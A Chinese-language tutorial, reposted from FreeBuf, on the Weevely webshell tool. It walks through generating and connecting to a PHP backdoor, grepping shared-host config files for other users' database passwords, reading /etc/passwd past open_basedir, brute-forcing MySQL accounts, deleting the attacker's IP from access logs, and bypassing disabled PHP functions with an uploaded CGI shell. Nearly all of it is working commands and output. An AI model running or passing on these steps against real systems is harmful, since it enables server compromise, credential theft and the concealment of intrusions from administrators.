weevely 常用命令講解
阿新 • • 發佈:2020-12-07
Weevely簡介
Weevely是一款python編寫的webshell管理工具,作為編寫語言使用python的一款
工具,它最大的優點就在於跨平臺,可以在任何安裝過python的系統上使用。本文介紹的不是它最基本的功能,而是在滲透測試過程中使用它的奇淫技巧。
安裝執行
kali:自帶
Linux:(python2.7版本的Debian/Ubuntu)
$sudo apt-get install g++ python-pip libyaml-dev python-dev $sudo pip install prettytable Mako PyYAML python-dateutil PySocks --upgrade
OS X
$ sudo port install python27 py27-pip
$ sudo port select --set pip pip27
$ sudo port select --set python python27
$ sudo pip install prettytable Mako PyYAML python-dateutil readline PySocks --upgrade
Windows
pip install prettytable Mako PyYAML python-dateutil pyreadline PySocks --upgrade
安裝Python 2.7和pip包管理器,然後使用ez_setup.py安裝。
基本用法
root@kali:~# weevely
[+] weevely 3.2.0
[!] Error: too few arguments
[+] Run terminal to the target
weevely <URL> <password> [cmd]
[+] Load session file
weevely session <path> [cmd]
[+] Generate backdoor agent
weevely generate <password> <path>
生成一個後門木馬:
root@kali:~# weevely generate test hello.php
Generated backdoor with password 'test' in 'hello.php' of 1486 byte size.
root@kali:~# find / -name hello.php
/usr/share/weevely/hello.php
連線後門:
root@kali:~# weevely http://192.168.110.129/hello.php test
[+] weevely 3.2.0
[+] Target: winxp-0947be9ad:C:\phpstudy\WWW
[+] Session: /root/.weevely/sessions/192.168.110.129/hello_0.session
[+] Shell: System shell
[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.
weevely>
更多玩法
獲取其他使用者的憑據
本技巧演示如何在共享的託管伺服器上獲取其他使用者憑據
- 查詢包含其他web使用者的資料夾
weevely> ls
.
..
members
www-data@target:/var/www PHP> cd members
www-data@target:/var/www/members PHP> ls
.
..
alefst
anssot
latrwo
leempt
martol
natsta
rogjas
rotozy
tstanc
virots
yynost
www-data@target:/var/www/members PHP>
- 使用grep命令查詢其他使用者儲存在php指令碼中的密碼
www-data@target:/var/www/members PHP> grep . '^[^*/#]*passw?o?r?d?'
./virots/config.php:$CFG->dbpass = 'FFFklasdhas()asdjj'; // your database password
./anssot/moodle/config.php:$CFG->dbpass = 'kasdhBSAUIGS77&'; // your database password
./leempt/wp/wp-config.php:define('DB_PASSWORD', 'AShasjdh177!@');
./alefst/wordpress/wp-config.php:define('DB_PASSWORD', 'ajhfaifh123!');
./martol/wordpress/wp-config.php:define('DB_PASSWORD', 'monkeydust1234');
./yynost/sites/default/settings.php: 'password' => 'XXyyynotsgoghia(XX',
./martol/drupal-7.x/sites/default/settings.php: 'password' => 'jhj@&&hgdas98k',
./natsta/drupal/sites/default/settings.php: 'password' => '99copacabana',
www-data@target:/var/www/members PHP>
- 我們發現一些連線資料庫的語句。
www-data@target:/var/www/members PHP> grep . 'mysql_conn'
./rotozy/joosep-lineon/db.php:$g_link = mysql_connect( '10.4.4.24', 'rotozy', 'rotozy123') or die();
www-data@target:/var/www/members PHP>
- 我們可以使用sql_console模組來連線
www-data@target:/var/www/members PHP> :sql_console -user rotozy -passwd rotozy123 -host 10.4.4.7
rotozy@server7 SQL> SELECT USER();
+----------------+
| rotozy@server7 |
+----------------+
rotozy@server7 SQL>
繞過策略讀取/etc/passwd
某些php配置阻止了對系統檔案的任何直接訪問(參見open_basedir),但是這些檔案對於許可權提升很有幫助,這時候我們就要想方法繞過了。weevely中的模組audit_etcpasswd幫我們解決了這個問題。
- 我們先嚐試直接訪問目標檔案
www-data@target:/var/www/html PHP> cd /etc
[-][cd] Failed cd '/etc': no such directory or permission denied
www-data@target:/var/www/html PHP> cat /etc/passwd
[-][download] File download failed, please check remote path and permissions
- 不能訪問,我們來使用模組audit_etcpasswd
www-data@target:/var/www/html PHP> :audit_etcpasswd --help
usage: audit_etcpasswd [-h] [-real]
[-vector {posix_getpwuid,file,fread,file_get_contents,base64}]
Get /etc/passwd with different techniques.
optional arguments:
-h, --help show this help message and exit
-real Filter only real users
-vector {posix_getpwuid,file,fread,file_get_contents,base64}
www-data@target:/var/www/html PHP> :audit_etcpasswd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
yzer:x:1000:1000:yzer,,,:/home/yzer:/bin/bash
www-data@target:/var/www/html PHP>
可以看見成功讀取。
猜解SQL使用者憑據
本技巧教大家如何猜解多個SQL使用者的憑據。
- 先來檢視使用者,無法直接檢視,請看上面一個技巧
www-data@target:/var/www/html PHP> cd ..
[-][cd] Failed cd '..': no such directory or permission denied
www-data@target:/var/www/html PHP> cat /etc/passwd
[-][download] File download failed, please check remote path and permissions
www-data@target:/var/www/html PHP> :audit_etcpasswd -real
root:x:0:0:root:/root:/bin/bash
roblast:x:1000:1000:roblast,,,:/home/roblast:/bin/bash
micjanost:x:1001:1001:micjanost,,,:/home/micjanost:/bin/bash
pjgomes:x:1002:1002:pjgomes,,,:/home/pjgomes:/bin/bash
pdpeers:x:1003:1003:pdpeers,,,:/home/pdpeers:/bin/bash
www-data@target:/var/www/html PHP>
2、使用bruteforce_sql猜解密碼
www-data@target:/var/www/html PHP> :bruteforce_sql
error: too few arguments
usage: bruteforce_sql [-h] [-hostname HOSTNAME] [-users [USERS [USERS ...]]]
[-pwds [PWDS [PWDS ...]]] [-fusers FUSERS]
[-fpwds FPWDS]
{mysql,pgsql}
Bruteforce SQL database
positional arguments:
{mysql,pgsql} Service to bruteforce
optional arguments:
-h, --help show this help message and exit
-hostname HOSTNAME Hostname
-users [USERS [USERS ...]]
Users
-pwds [PWDS [PWDS ...]]
Passwords
-fusers FUSERS Local file path containing users list
-fpwds FPWDS Local file path containing password list
www-data@target:/var/www/html PHP> :bruteforce_sql mysql -users roblast micjanost pjgomes pdpeers root -fpwds wordlists/huge.txt
roblast:reckoned
pjgomes:national
root:Gilchrist
www-data@target:/var/www/html PHP>
- 成功猜解除三個使用者密碼,我們使用sql_console連線
www-data@target:/var/www/html PHP> :sql_console -u root -p Gilchrist
root@localhost SQL> show databases;
+--------------------+
| mysql |
| performance_schema |
| test |
| appdb |
+--------------------+
root@localhost SQL>
日誌清理
本技巧教大家如何清除伺服器中的跟蹤記錄。
- 首先找到日誌存放的資料夾,下例是存放在log資料夾中
weevely> ls
.
..
htdocs
logs
cpanel
.profile
cgi-bin
member@target:/home/member PHP> cd logs
member@target:/home/member/logs PHP> ls
.
..
access.log
member@target:/home/member/logs PHP>
- 我們使用system_info命令找到我們自己的ip
member@target:/home/member/logs PHP> :system_info -info client_ip
174.122.136.104
member@target:/home/member/logs PHP>
- 我們使用grep命令來確認我們的ip記錄在日誌檔案中
member@target:/home/member/logs PHP> grep access.log 174.122.136.104
174.122.136.104 - - [21/Apr/2015:20:37:04 +0100] "GET /agent.php HTTP/1.1" 200 443 "http://www.google.co.uz/url?sa=t&rct=j&source=web&cd=136&ved=d7fQaxNTP&ei=qpG-lx-Uque6l97bG_EZfE&usg=FL237uTSYjAc8DC-d971rS4UUPyWV13nyK" "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3"
174.122.136.104 - - [21/Apr/2015:20:34:01 +0100] "GET /agent.php HTTP/1.1" 200 443 "http://translate.googleusercontent.com/translate_c?depth=1&rurl=translate.google.com&sl=auto&tl=en&usg=200QawVTBiv_BPoQJdoQhA-yTa66mtGaEA" "Opera/9.52 (Macintosh; Intel Mac OS X; U; pt-BR)"
174.122.136.104 - - [21/Apr/2015:20:28:24 +0100] "GET /agent.php HTTP/1.1" 200 443 "http://www.google.com.uy/url?sa=t&rct=j&source=web&cd=183&ved=DJY1U23wu&ei=GfRq0HsncZ7nn32louwyv0&usg=oYydfzk5nYywMujSFCTAmFvz3i3U7IYMDW" "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.6) Gecko/20091201 MRA 5.4 (build 02647) Firefox/3.5.6 (.NET CLR 3.5.30729)"
- 我們可以看到我們IP地址的活動已經被記錄,我們可以再次使用grep來從日誌中刪除我們的ip,然後將其儲存到臨時檔案中
member@target:/home/member/logs PHP> grep access.log -v 174.122.136.104 -output cleaned.log
member@target:/home/member/logs PHP>
- 讓我們來測試看看是否已經刪除了
member@target:/home/member/logs PHP> grep cleaned.log 174.122.136.104
member@target:/home/member/logs PHP>
- 然後我們就可以用cleaned.log來替換access.log
member@target:/home/member/logs PHP> rm access.log
member@target:/home/member/logs PHP> cp cleaned.log access.log
member@target:/home/member/logs PHP> rm cleaned.log
繞過系統禁用函式
- 我們將使用的是audit_disablefunctionbypass模組,它會上傳.htaccess和CGI指令碼,並在遠端伺服器上執行偽系統shell。
weevely>
www-data@target:/var/www/html PHP> :audit_disablefunctionbypass
[-][disablefunctionbypass] After usage, use ':file_rm' to remove '/var/www/html/.htaccess' and '/var/www/html/acubu.ved'
[-][disablefunctionbypass] Run console without reinstalling with ':audit_disablefunctionbypass -just-run http://localhost/acubu.ved'
[-][disablefunctionbypass] Type 'quit' to return to weevely shell. Requests are not obfuscated
CGI shell replacement $ ps -aux
PID TTY TIME CMD
24693 ? 00:00:00 apache2
24694 ? 00:00:00 apache2
24695 ? 00:00:00 apache2
24696 ? 00:00:00 apache2
24697 ? 00:00:00 apache2
24859 ? 00:00:00 acubu.ved
24864 ? 00:00:00 ps
CGI shell replacement $ quit
www-data@emilio-lin:/var/www/html PHP>
總結
weevely並不止本文所介紹的這些技巧,具體還是要大家多使用,這樣才能發現更多的奇淫技巧,也歡迎大家來分享自己的心得。
本文來自FreeBuf.COM,作者:zusheng
轉載請註明